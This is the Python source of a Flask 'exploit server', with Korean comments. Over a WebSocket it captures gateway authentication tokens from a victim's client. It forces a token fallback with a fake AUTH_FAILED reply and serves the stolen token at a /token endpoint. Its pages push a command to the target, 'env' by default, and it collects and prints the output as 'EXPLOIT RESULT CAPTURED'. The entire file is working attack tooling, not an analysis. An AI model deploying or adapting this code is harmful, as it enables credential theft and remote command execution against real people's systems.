from flask import Flask, render_template, request, jsonify
from flask_sock import Sock
import json, logging, threading, socket, time, re, argparse

app = Flask(__name__)
sock = Sock(app)

# --- Global States ---
TOKEN = None
FORCED_DEVICE_FALLBACK = False
LAST_RESULT = ""
LAST_PRINTED_CONTENT = ""  # 방금 출력한 내용 기억용
LAST_PRINT_TIME = 0        # 마지막 출력 시간 기록용
PRINT_TIMER = None
PRINT_LOCK = threading.Lock()

GATEWAY_TOKEN_RE = re.compile(r"^[a-f0-9]{40,128}$", re.I)
logging.getLogger('werkzeug').setLevel(logging.ERROR)

# --- HTTP Routes ---
@app.route("/eqst1")
def eqst1():
    return render_template("eqst1.html", HOSTNAME=HOSTNAME)

@app.route("/eqst2")
def eqst2():
    return render_template("eqst2.html", COMMAND=COMMAND)

@app.route("/token")
def token():
    global TOKEN
    if TOKEN:
        temp_token = TOKEN
        TOKEN = None  # 한 번 가져가면 초기화하여 다음 토큰 대기
        return temp_token
    return "no luck"

@app.route("/report_result", methods=["POST"])
def report_result():
    global LAST_RESULT, PRINT_TIMER
    data = request.json
    result = data.get("result", "").strip()
    
    if result:
        with PRINT_LOCK:
            # 새로운 결과가 들어오면 기존 대기 중인 타이머는 취소
            if PRINT_TIMER:
                PRINT_TIMER.cancel()
            
            LAST_RESULT = result
            # 0.1초 후에 출력 함수 실행 (패킷이 뭉쳐서 들어오는 것 대기)
            PRINT_TIMER = threading.Timer(0.1, print_result_only)
            PRINT_TIMER.start()
            
    return jsonify({"status": "ok"})

# --- Helper Functions ---
def print_result_only():
    global LAST_RESULT, LAST_PRINTED_CONTENT, LAST_PRINT_TIME
    
    with PRINT_LOCK:
        now = time.time()
        current_res = LAST_RESULT.strip()
        
        if not current_res:
            return

        # [중복 방어막] 동일 내용이 2초 이내에 다시 들어오면 무시
        if current_res == LAST_PRINTED_CONTENT and (now - LAST_PRINT_TIME) < 2.0:
            LAST_RESULT = ""
            return
            
        # 콘솔 출력 (초록색)
        print("\n\033[92m" + "="*50)
        print("      [!] EXPLOIT RESULT CAPTURED [!]")
        print("="*50)
        print(current_res)
        print("="*50 + "\033[0m\n")
        
        # 상태 업데이트
        LAST_PRINTED_CONTENT = current_res
        LAST_PRINT_TIME = now
        LAST_RESULT = ""

# --- WebSocket Logic ---
@sock.route("/")
def websocket(ws):
    global FORCED_DEVICE_FALLBACK, TOKEN
    
    # 이 웹소켓 연결(세션) 동안 토큰 로그를 찍었는지 체크
    session_token_captured = False 
    
    while True:
        data = ws.receive()
        if data is None: break
        try:
            message = json.loads(data)
            params = message.get("params") or {}
            auth = params.get("auth") or {}
            
            token_candidates = (
                auth.get("gatewayToken"), 
                params.get("gatewayToken"), 
                auth.get("token")
            )
            gateway_token = next((t for t in token_candidates if isinstance(t, str) and GATEWAY_TOKEN_RE.fullmatch(t)), None)
            
            if gateway_token:
                TOKEN = gateway_token
                FORCED_DEVICE_FALLBACK = False # 토큰 잡았으니 폴백 상태 해제
                
                if not session_token_captured:
                    print(f"[*] Gateway token captured: {gateway_token}")
                    session_token_captured = True 
                
            elif message.get("method") == "connect" and not FORCED_DEVICE_FALLBACK:
                FORCED_DEVICE_FALLBACK = True
                ws.send(json.dumps({
                    "type": "res", "id": message.get("id"), "ok": False,
                    "error": {"code": "AUTH_FAILED", "message": "fallback"}
                }))
                print("[*] Triggering device token fallback...")

        except Exception:
            pass

# --- Main Entry ---
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", type=str, default=None, help="Exploit server hostname")
    parser.add_argument("--command", type=str, default="env", help="Command to execute on target")
    args = parser.parse_args()

    global HOSTNAME, COMMAND
    COMMAND = args.command

    if args.host:
        HOSTNAME = args.host
    else:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            s.connect(('8.8.8.8', 80))
            HOSTNAME = s.getsockname()[0]
        except Exception:
            HOSTNAME = '127.0.0.1'
        finally:
            s.close()
    
    print(f"[*] Exploit Server running on: {HOSTNAME}:13337")
    app.run(host="0.0.0.0", port=13337, debug=False, use_reloader=False)